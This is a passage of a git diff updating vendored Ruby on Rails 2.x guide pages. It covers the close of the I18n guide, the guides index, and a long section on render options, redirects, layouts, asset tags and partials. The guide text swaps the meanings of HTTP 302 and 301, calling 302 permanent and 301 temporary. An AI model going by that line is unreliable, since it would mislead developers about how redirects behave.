+
+
I18n.t :foo, :raise => true # always re-raises exceptions from the backend
+
+

7. Conclusion

+
+

At this point you hopefully have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.

+

If you find anything missing or wrong in this guide please file a ticket on our issue tracker. If you want to discuss certain portions or have questions please sign up to our mailinglist.

+
+

8. Contributing to Rails I18n

+
+

I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first and then cherry-picking the best bread of most widely useful features second for inclusion to the core.

+

Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don’t forget to announce your work on our mailinglist!)

+

If you find your own locale (language) missing from our example translations data repository for Ruby on Rails, please fork the repository, add your data and send a pull request.

+
+

9. Resources

+
+
+
+

10. Authors

+
+
+

If you found this guide useful please consider recommending its authors on workingwithrails.

+
+

11. Footnotes

+
+

[1] Or, to quote Wikipedia: "Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."

+

[2] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.

+

[3] One of these reasons is that we don’t want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.

+
+

12. Changelog

+ + +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/index.html b/vendor/rails/railties/doc/guides/html/index.html index 991b10c7..16ce603c 100644 --- a/vendor/rails/railties/doc/guides/html/index.html +++ b/vendor/rails/railties/doc/guides/html/index.html @@ -1,204 +1,49 @@ - - Ruby on Rails guides - - - - - + + Ruby on Rails Guides + + + + - +

2.2.4. Rendering an Arbitrary File

+

The render method can also use a view that’s entirely outside of your application (perhaps you’re sharing views between two Rails applications):

+
+
+
render "/u/apps/warehouse_app/current/app/views/products/show"
+

Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the :file option (which was required on Rails 2.2 and earlier):

+
+
+
render :file => "/u/apps/warehouse_app/current/app/views/products/show"
+

The :file option takes an absolute file-system path. Of course, you need to have rights to the view that you’re using to render the content.

- + +
Note By default, if you use the :file option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the :layout ⇒ true optionBy default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the :layout => true option.
+
+
+ + +
+Tip +If you’re running on Microsoft Windows, you should use the :file option to render a file, because Windows filenames do not have the same format as Unix filenames.

2.2.5. Using render with :inline

-

The render method can do without a view completely, if you're willing to use the :inline option to supply ERB as part of the method call. This is perfectly valid:

+

The render method can do without a view completely, if you’re willing to use the :inline option to supply ERB as part of the method call. This is perfectly valid:

-
render :inline => "<% products.each do |p| %><p><%= p.name %><p><% end %>"
-
+
render :inline => "<% products.each do |p| %><p><%= p.name %><p><% end %>"
@@ -403,16 +288,15 @@ http://www.gnu.org/software/src-highlite --> There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
-

By default, inline rendering uses ERb. You can force it to use Builder instead with the :type option:

+

By default, inline rendering uses ERb. You can force it to use Builder instead with the :type option:

-
render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder
-
+
render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder

2.2.6. Using render with :update

-

You can also render javascript-based page updates inline using the :update option to render:

+

You can also render javascript-based page updates inline using the :update option to render:

render :update do |page|
   page.replace_html 'warning', "Invalid options supplied"
-end
-
+end
@@ -431,20 +314,19 @@ http://www.gnu.org/software/src-highlite -->

2.2.7. Rendering Text

-

You can send plain text - with no markup at all - back to the browser by using the :text option to render:

+

You can send plain text - with no markup at all - back to the browser by using the :text option to render:

-
render :text => "OK"
-
+
render :text => "OK"
- +
Tip Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.Rendering pure text is most useful when you’re responding to AJAX or web service requests that are expecting something other than proper HTML.
@@ -452,56 +334,53 @@ http://www.gnu.org/software/src-highlite --> Note -By default, if you use the :text option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the :layout ⇒ true option +By default, if you use the :text option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the :layout => true option

2.2.8. Rendering JSON

-

JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

+

JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

-
render :json => @product
-
+
render :json => @product
- +
Tip You don't need to call to_json on the object that you want to render. If you use the :json option, render will automatically call to_json for you.You don’t need to call to_json on the object that you want to render. If you use the :json option, render will automatically call to_json for you.

2.2.9. Rendering XML

-

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

+

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

-
render :xml => @product
-
+
render :xml => @product
- +
Tip You don't need to call to_xml on the object that you want to render. If you use the :xml option, render will automatically call to_xml for you.You don’t need to call to_xml on the object that you want to render. If you use the :xml option, render will automatically call to_xml for you.

2.2.10. Rendering Vanilla JavaScript

-

Rails can render vanilla JavaScript (as an alternative to using update with n .rjs file):

+

Rails can render vanilla JavaScript (as an alternative to using update with n .rjs file):

-
render :js => "alert('Hello Rails');"
-
-

This will send the supplied string to the browser with a MIME type of text/javascript.

+
render :js => "alert('Hello Rails');"
+

This will send the supplied string to the browser with a MIME type of text/javascript.

2.2.11. Options for render

-

Calls to the render method generally accept four options:

-
The :layout Option
-

With most of the options to render, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.

-

You can use the :layout option to tell Rails to use a specific file as the layout for the current action:

+

With most of the options to render, the rendered content is displayed as part of the current layout. You’ll learn more about layouts and how to use them later in this guide.

+

You can use the :layout option to tell Rails to use a specific file as the layout for the current action:

-
render :layout => 'special_layout'
-
-

You can also tell Rails to render with no layout at all:

+
render :layout => 'special_layout'
+

You can also tell Rails to render with no layout at all:

-
render :layout => false
-
+
render :layout => false
The :status Option
-

Rails will automatically generate a response with the correct HTML status code (in most cases, this is 200 OK). You can use the :status option to change this:

+

Rails will automatically generate a response with the correct HTML status code (in most cases, this is 200 OK). You can use the :status option to change this:

render :status => 500
-render :status => :forbidden
-
-

Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in actionpack/lib/action_controller/status_codes.rb. You can also see there how it maps symbols to status codes in that file.

+render :status => :forbidden +

Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in actionpack/lib/action_controller/status_codes.rb. You can also see there how it maps symbols to status codes in that file.

The :location Option
-

You can use the :location option to set the HTTP Location header:

+

You can use the :location option to set the HTTP Location header:

-
render :xml => photo, :location => photo_url(photo)
-
+
render :xml => photo, :location => photo_url(photo)

2.2.12. Finding Layouts

-

To find the current layout, Rails first looks for a file in app/views/layouts with the same base name as the controller. For example, rendering actions from the PhotosController class will use /app/views/layouts/photos.html.erb. If there is no such controller-specific layout, Rails will use /app/views/layouts/application.html.erb. If there is no .erb layout, Rails will use a .builder layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

+

To find the current layout, Rails first looks for a file in app/views/layouts with the same base name as the controller. For example, rendering actions from the PhotosController class will use /app/views/layouts/photos.html.erb. If there is no such controller-specific layout, Rails will use /app/views/layouts/application.html.erb. If there is no .erb layout, Rails will use a .builder layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

Specifying Layouts on a per-Controller Basis
-

You can override the automatic layout conventions in your controllers by using the layout declaration in the controller. For example:

+

You can override the automatic layout conventions in your controllers by using the layout declaration in the controller. For example:

class ProductsController < ApplicationController
   layout "inventory"
   #...
-end
-
-

With this declaration, all methods within ProductsController will use app/views/layouts/inventory.html.erb for their layout.

-

To assign a specific layout for the entire application, use a declaration in your ApplicationController class:

+end +

With this declaration, all methods within ProductsController will use app/views/layouts/inventory.html.erb for their layout.

+

To assign a specific layout for the entire application, use a declaration in your ApplicationController class:

class ApplicationController < ActionController::Base
   layout "main"
   #...
-end
-
-

With this declaration, all views in the entire application will use app/views/layouts/main.html.erb for their layout.

+end +

With this declaration, all views in the entire application will use app/views/layouts/main.html.erb for their layout.

Choosing Layouts at Runtime
-

You can use a symbol to defer the choice of layout until a request is processed:

+

You can use a symbol to defer the choice of layout until a request is processed:

@current_user.special? ? "special" : "products" end -end -
-

Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:

+end +

Now, if the current user is a special user, they’ll get a special layout when viewing a product. You can even use an inline method to determine the layout:

class ProductsController < ApplicationController
   layout proc{ |controller| controller.
   # ...
-end
-
+end
Conditional Layouts
-

Layouts specified at the controller level support :only and :except options that take either a method name or an array of method names:

+

Layouts specified at the controller level support :only and :except options that take either a method name or an array of method names:

class ProductsController < ApplicationController
@@ -639,10 +509,10 @@ http://www.gnu.org/software/src-highlite -->
   #...
 end
-

With those declarations, the inventory layout would be used only for the index method, the product layout would be used for everything else except the rss method, and the rss method will have its layout determined by the automatic layout rules.

+

With those declarations, the inventory layout would be used only for the index method, the product layout would be used for everything else except the rss method, and the rss method will have its layout determined by the automatic layout rules.

Layout Inheritance
-

Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:

-

application.rb:

+

Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:

+

application_controller.rb:

class ApplicationController < ActionController::Base
   layout "main"
   #...
-end
-
-

posts_controller.rb:

+end +

posts_controller.rb:

class PostsController < ApplicationController
   # ...
-end
-
-

special_posts_controller.rb:

+end +

special_posts_controller.rb:

class SpecialPostsController < PostsController
   layout "special"
   # ...
-end
-
-

old_posts_controller.rb:

+end +

old_posts_controller.rb:

render :layout => "old" end # ... -end -
-

In this application:

-
+

In this application:

+

2.2.13. Avoiding Double Render Errors

-

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that render works.

-

For example, here's some code that will trigger this error:

+

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it’s relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that render works.

+

For example, here’s some code that will trigger this error:

if @book.special? render :action => "special_show" end -end -
-

If @book.special? evaluates to true, Rails will start the rendering process to dump the @book variable into the special_show view. But this will not stop the rest of the code in the show action from running, and when Rails hits the end of the action, it will start to render the show view - and throw an error. The solution is simple: make sure that you only have one call to render or redirect in a single code path. One thing that can help is and return. Here's a patched version of the method:

+end +

If @book.special? evaluates to true, Rails will start the rendering process to dump the @book variable into the special_show view. But this will not stop the rest of the code in the show action from running, and when Rails hits the end of the action, it will start to render the show view - and throw an error. The solution is simple: make sure that you only have one call to render or redirect in a single code path. One thing that can help is and return. Here’s a patched version of the method:

if @book.special? render :action => "special_show" and return end -end -
+end

2.3. Using redirect_to

-

Another way to handle returning responses to a HTTP request is with redirect_to. As you've seen, render tells Rails which view (or other asset) to use in constructing a response. The redirect_to method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

+

Another way to handle returning responses to a HTTP request is with redirect_to. As you’ve seen, render tells Rails which view (or other asset) to use in constructing a response. The redirect_to method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

-
redirect_to photos_path
-
-

You can use redirect_to with any arguments that you could use with link_to or url_for. In addition, there's a special redirect that sends the user back to the page they just came from:

+
redirect_to photos_path
+

You can use redirect_to with any arguments that you could use with link_to or url_for. In addition, there’s a special redirect that sends the user back to the page they just came from:

redirect_to :back

2.3.1. Getting a Different Redirect Status Code

-

Rails uses HTTP status code 302 (permanent redirect) when you call redirect_to. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the :status option:

+

Rails uses HTTP status code 302 (permanent redirect) when you call redirect_to. If you’d like to use a different status code (perhaps 301, temporary redirect), you can do so by using the :status option:

redirect_to photos_path, :status => 301
-

Just like the :status option for render, :status for redirect_to accepts both numeric and symbolic header designations.

+

Just like the :status option for render, :status for redirect_to accepts both numeric and symbolic header designations.

2.3.2. The Difference Between render and redirect

-

Sometimes inexperienced developers conceive of redirect_to as a sort of goto command, moving execution from one place to another in your Rails code. This is not correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.

-

Consider these actions to see the difference:

+

Sometimes inexperienced developers conceive of redirect_to as a sort of goto command, moving execution from one place to another in your Rails code. This is not correct. Your code stops running and waits for a new request for the browser. It just happens that you’ve told the browser what request it should make next, by sending back a HTTP 302 status code.

+

Consider these actions to see the difference:

if @book.nil? render :action => "index" and return end -end -
-

With the code in this form, there will be likely be a problem if the @book variable is nil. Remember, a render :action doesn't run any code in the target action, so nothing will set up the @books variable that the index view is presumably depending on. One way to fix this is to redirect instead of rendering:

+end +

With the code in this form, there will be likely be a problem if the @book variable is nil. Remember, a render :action doesn’t run any code in the target action, so nothing will set up the @books variable that the index view is presumably depending on. One way to fix this is to redirect instead of rendering:

if @book.nil? redirect_to :action => "index" and return end -end -
-

With this code, the browser will make a fresh request for the index page, the code in the index method will run, and all will be well.

+end +

With this code, the browser will make a fresh request for the index page, the code in the index method will run, and all will be well.

2.4. Using head To Build Header-Only Responses

-

The head method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling render :nothing. The head method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:

+

The head method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling render :nothing. The head method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:

-
head :bad_request
-
-

Or you can use other HTTP headers to convey additional information:

+
head :bad_request
+

Or you can use other HTTP headers to convey additional information:

-
head :created, :location => photo_path(@photo)
-
+
head :created, :location => photo_path(@photo)

3. Structuring Layouts

-

When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:

-
    +

    When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:

    +
    • Asset tags @@ -846,10 +705,10 @@ Partials

    -

    I'll discuss each of these in turn.

    +

    I’ll discuss each of these in turn.

    3.1. Asset Tags

    -

    Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:

    -
      +

      Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:

      +
      • auto_discovery_link_tag @@ -871,26 +730,25 @@ image_tag

      -

      You can use these tags in layouts or other views, although the tags other than image_tag are most commonly used in the <head> section of a layout.

      +

      You can use these tags in layouts or other views, although the tags other than image_tag are most commonly used in the <head> section of a layout.

      - +
      Warning The asset tags do not verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.The asset tags do not verify the existence of the assets at the specified locations; they simply assume that you know what you’re doing and generate the link.
      -

      The auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (:rss+ or :atom), a hash of options that are passed through to url_for, and a hash of options for the tag:

      +

      The auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (:rss+ or :atom), a hash of options that are passed through to url_for, and a hash of options for the tag:

      -
      <%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
      -
      -

      There are three tag options available for auto_discovery_link_tag:

      -
        +
        <%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
    +

    There are three tag options available for auto_discovery_link_tag:

    +
    • :rel specifies the rel value in the link (defaults to "alternate") @@ -908,180 +766,159 @@ http://www.gnu.org/software/src-highlite -->

    3.1.2. Linking to Javascript Files with javascript_include_tag

    -

    The javascript_include_tag helper returns an HTML <script> tag for each source provided. Rails looks in public/javascripts for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/javascripts/main.js:

    +

    The javascript_include_tag helper returns an HTML <script> tag for each source provided. Rails looks in public/javascripts for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/javascripts/main.js:

    -
    <%= javascript_include_tag "main" %>
    -
    -

    To include public/javascripts/main.js and public/javascripts/columns.js:

    +
    <%= javascript_include_tag "main" %>
+

To include public/javascripts/main.js and public/javascripts/columns.js:

-
<%= javascript_include_tag "main", "columns" %>
-
-

To include public/javascripts/main.js and public/photos/columns.js:

+
<%= javascript_include_tag "main", "columns" %>
+

To include public/javascripts/main.js and public/photos/columns.js:

-
<%= javascript_include_tag "main", "/photos/columns" %>
-
-

To include http://example.com/main.js:

+
<%= javascript_include_tag "main", "/photos/columns" %>
+

To include http://example.com/main.js:

-
<%= javascript_include_tag "http://example.com/main.js" %>
-
-

The defaults option loads the Prototype and Scriptaculous libraries:

+
<%= javascript_include_tag "http://example.com/main.js" %>
+

The defaults option loads the Prototype and Scriptaculous libraries:

-
<%= javascript_include_tag :defaults %>
-
-

The all option loads every javascript file in public/javascripts, starting with the Prototype and Scriptaculous libraries:

+
<%= javascript_include_tag :defaults %>
+

The all option loads every javascript file in public/javascripts, starting with the Prototype and Scriptaculous libraries:

-
<%= javascript_include_tag :all %>
-
-

You can supply the :recursive option to load files in subfolders of public/javascripts as well:

+
<%= javascript_include_tag :all %>
+

You can supply the :recursive option to load files in subfolders of public/javascripts as well:

-
<%= javascript_include_tag :all, :recursive => true %>
-
-

If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache ⇒ true in your javascript_include_tag:

+
<%= javascript_include_tag :all, :recursive => true %>
+

If you’re loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache => true in your javascript_include_tag:

-
<%= javascript_include_tag "main", "columns", :cache => true %>
-
-

By default, the combined file will be delivered as javascripts/all.js. You can specify a location for the cached asset file instead:

+
<%= javascript_include_tag "main", "columns", :cache => true %>
+

By default, the combined file will be delivered as javascripts/all.js. You can specify a location for the cached asset file instead:

-
<%= javascript_include_tag "main", "columns", :cache => 'cache/main/display' %>
-
-

+
<%= javascript_include_tag "main", "columns", :cache => 'cache/main/display' %>
+

-

The stylesheet_link_tag helper returns an HTML <link> tag for each source provided. Rails looks in public/stylesheets for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/stylesheets/main.cs:

+

The stylesheet_link_tag helper returns an HTML <link> tag for each source provided. Rails looks in public/stylesheets for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/stylesheets/main.cs:

-
<%= stylesheet_link_tag "main" %>
-
-

To include public/stylesheets/main.css and public/stylesheets/columns.css:

+
<%= stylesheet_link_tag "main" %>
+

To include public/stylesheets/main.css and public/stylesheets/columns.css:

-
<%= stylesheet_link_tag "main", "columns" %>
-
-

To include public/stylesheets/main.css and public/photos/columns.css:

+
<%= stylesheet_link_tag "main", "columns" %>
+

To include public/stylesheets/main.css and public/photos/columns.css:

-
<%= stylesheet_link_tag "main", "/photos/columns" %>
-
-

To include http://example.com/main.cs:

+
<%= stylesheet_link_tag "main", "/photos/columns" %>
+

To include http://example.com/main.cs:

-
<%= stylesheet_link_tag "http://example.com/main.cs" %>
-
-

By default, stylesheet_link_tag creates links with media="screen" rel="stylesheet" type="text/css". You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):

+
<%= stylesheet_link_tag "http://example.com/main.cs" %>
+

By default, stylesheet_link_tag creates links with media="screen" rel="stylesheet" type="text/css". You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):

-
<%= stylesheet_link_tag "main_print", media => "print" %>
-
-

The all option links every CSS file in public/stylesheets:

+
<%= stylesheet_link_tag "main_print", media => "print" %>
+

The all option links every CSS file in public/stylesheets:

-
<%= stylesheet_link_tag :all %>
-
-

You can supply the :recursive option to link files in subfolders of public/stylesheets as well:

+
<%= stylesheet_link_tag :all %>
+

You can supply the :recursive option to link files in subfolders of public/stylesheets as well:

-
<%= stylesheet_link_tag :all, :recursive => true %>
-
-

If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache ⇒ true in your stylesheet_link_tag:

+
<%= stylesheet_link_tag :all, :recursive => true %>
+

If you’re loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache => true in your stylesheet_link_tag:

-
<%= stylesheet_link_tag "main", "columns", :cache => true %>
-
-

By default, the combined file will be delivered as stylesheets/all.css. You can specify a location for the cached asset file instead:

+
<%= stylesheet_link_tag "main", "columns", :cache => true %>
+

By default, the combined file will be delivered as stylesheets/all.css. You can specify a location for the cached asset file instead:

-
<%= stylesheet_link_tag "main", "columns", :cache => 'cache/main/display' %>
-
-

+
<%= stylesheet_link_tag "main", "columns", :cache => 'cache/main/display' %>
+

3.1.4. Linking to Images with image_tag

-

The image_tag helper builds an HTML <image> tag to the specified file. By default, files are loaded from public/images. If you don't specify an extension, .png is assumed by default:

+

The image_tag helper builds an HTML <image> tag to the specified file. By default, files are loaded from public/images. If you don’t specify an extension, .png is assumed by default:

-
<%= image_tag "header" %>
-
-

You can supply a path to the image if you like:

+
<%= image_tag "header" %>
+

You can supply a path to the image if you like:

-
<%= image_tag "icons/delete.gif" %>
-
-

You can supply a hash of additional HTML options:

+
<%= image_tag "icons/delete.gif" %>
+

You can supply a hash of additional HTML options:

-
<%= image_tag "icons/delete.gif", :height => 45 %>
-
-

There are also three special options you can use with image_tag:

-
+

There are also three special options you can use with image_tag:

+

3.2. Understanding yield

-

Within the context of a layout, yield identifies a section where content from the view should be inserted. The simplest way to use this is to have a single yield, into which the entire contents of the view currently being rendered is inserted:

+

Within the context of a layout, yield identifies a section where content from the view should be inserted. The simplest way to use this is to have a single yield, into which the entire contents of the view currently being rendered is inserted:

<body> <%= yield %> <hbody> -</html> -
-

You can also create a layout with multiple yielding regions:

+</html> +

You can also create a layout with multiple yielding regions:

<body> <%= yield %> <hbody> -</html> -
-

The main body of the view will always render into the unnamed yield. To render content into a named yield, you use the content_for method.

+</html> +

The main body of the view will always render into the unnamed yield. To render content into a named yield, you use the content_for method.

3.3. Using content_for

-

The content_for method allows you to insert content into a yield block in your layout. You only use content_for to insert content in named yields. For example, this view would work with the layout that you just saw:

+

The content_for method allows you to insert content into a yield block in your layout. You only use content_for to insert content in named yields. For example, this view would work with the layout that you just saw:

<title>A simple page</title> <% end %> -<p>Hello, Rails!</p> -
-

The result of rendering this page into the supplied layout would be this HTML:

+<p>Hello, Rails!</p> +

The result of rendering this page into the supplied layout would be this HTML:

<body> <p>Hello, Rails!</p> <hbody> -</html> -
-

The content_for method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.

+</html> +

The content_for method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It’s also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.

3.4. Using Partials

-

Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

+

Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

3.4.1. Naming Partials

-

To render a partial as part of a view, you use the render method within the view, and include the :partial option:

+

To render a partial as part of a view, you use the render method within the view, and include the :partial option:

-
<%= render :partial => "menu" %>
-
-

This will render a file named _menu.html.erb at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

+
<%= render :partial => "menu" %>
+

This will render a file named _menu.html.erb at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you’re pulling in a partial from another folder:

-
<%= render :partial => "shared/menu" %>
-
-

That code will pull in the partial from app/views/shared/_menu.html.erb.

+
<%= render :partial => "shared/menu" %>
+

That code will pull in the partial from app/views/shared/_menu.html.erb.

3.4.2. Using Partials to Simplify Views

-

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:

+

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what’s going on more easily. For example, you might have a view that looked like this:

<p>Here are a few of our fine products:</p> ... -<%= render :partial => "shared/footer" %> -
-

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

+<%= render :partial => "shared/footer" %> +

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don’t need to see the details of these sections when you’re concentrating on a particular page.

@@ -1203,18 +1033,17 @@ http://www.gnu.org/software/src-highlite -->

3.4.3. Partial Layouts

-

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

+

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

-
<%= render :partial => "link_area", :layout => "graybar" %>
-
-

This would look for a partial named _link_area.html.erb and render it using the layout _graybar.html.erb. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master layouts folder).

+
<%= render :partial => "link_area", :layout => "graybar" %>
+

This would look for a partial named _link_area.html.erb and render it using the layout _graybar.html.erb. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master layouts folder).

3.4.4. Passing Local Variables

-

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

-

new.html.erb:

+

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

+

new.html.erb:

<h1>New zone</h1>
 <%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %>
-
-

edit.html.erb:

+<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %> +

edit.html.erb:

<h1>Editing zone</h1>
 <%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %>
-
-

_form.html.erb:

+<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %> +

_form.html.erb:

<p> <%= f.submit button_label %> </p> -<% end %> -
-

Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.

-

Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the :object option:

+<% end %> +

Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.

+

Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the :object option:

-
<%= render :partial => "customer", :object => @new_customer %>
-
-

Within the customer partial, the @customer variable will refer to @new_customer from the parent view.

+
<%= render :partial => "customer", :object => @new_customer %>
+

Within the customer partial, the @customer variable will refer to @new_customer from the parent view.

@@ -1268,110 +1093,157 @@ http://www.gnu.org/software/src-highlite --> In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
-

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

+

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

-
<%= render :partial => @customer %>
-
-

Assuming that the @customer instance variable contains an instance of the Customer model, this will use _customer.html.erb to render it.

+
<%= render :partial => @customer %>
+

Assuming that the @customer instance variable contains an instance of the Customer model, this will use _customer.html.erb to render it.

3.4.5. Rendering Collections

-

Partials are very useful in rendering collections. When you pass a collection to a partial via the :collection option, the partial will be inserted once for each member in the collection:

-

index.html.erb:

+

Partials are very useful in rendering collections. When you pass a collection to a partial via the :collection option, the partial will be inserted once for each member in the collection:

+

index.html.erb:

<h1>Products</h1>
-<%= render :partial => "product", :collection => @products %>
-
-

_product.html.erb:

+<%= render :partial => "product", :collection => @products %> +

_product.html.erb:

-
<p>Product Name: <%= product.name %></p>
-
-

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within the +_product partial, you can refer to product to get the instance that is being rendered. To use a custom local variable name within the partial, specify the :as option in the call to the partial:

+
<p>Product Name: <%= product.name %></p>
+

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within the +_product partial, you can refer to product to get the instance that is being rendered. To use a custom local variable name within the partial, specify the :as option in the call to the partial:

-
<%= render :partial => "product", :collection => @products, :as => :item %>
-
-

With this change, you can access an instance of the @products collection as the item local variable within the partial.

+
<%= render :partial => "product", :collection => @products, :as => :item %>
+

With this change, you can access an instance of the @products collection as the item local variable within the partial.

- +
Tip Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by _counter. For example, if you're rendering @products, within the partial you can refer to product_counter to tell you how many times the partial has been rendered.Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by _counter. For example, if you’re rendering @products, within the partial you can refer to product_counter to tell you how many times the partial has been rendered.
-

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

+

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

-
<%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
-
-

Rails will render the _product_ruler partial (with no data passed in to it) between each pair of _product partials.

-

There's also a shorthand syntax available for rendering collections. For example, if @products is a collection of products, you can render the collection this way:

-

index.html.erb:

+
<%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
+

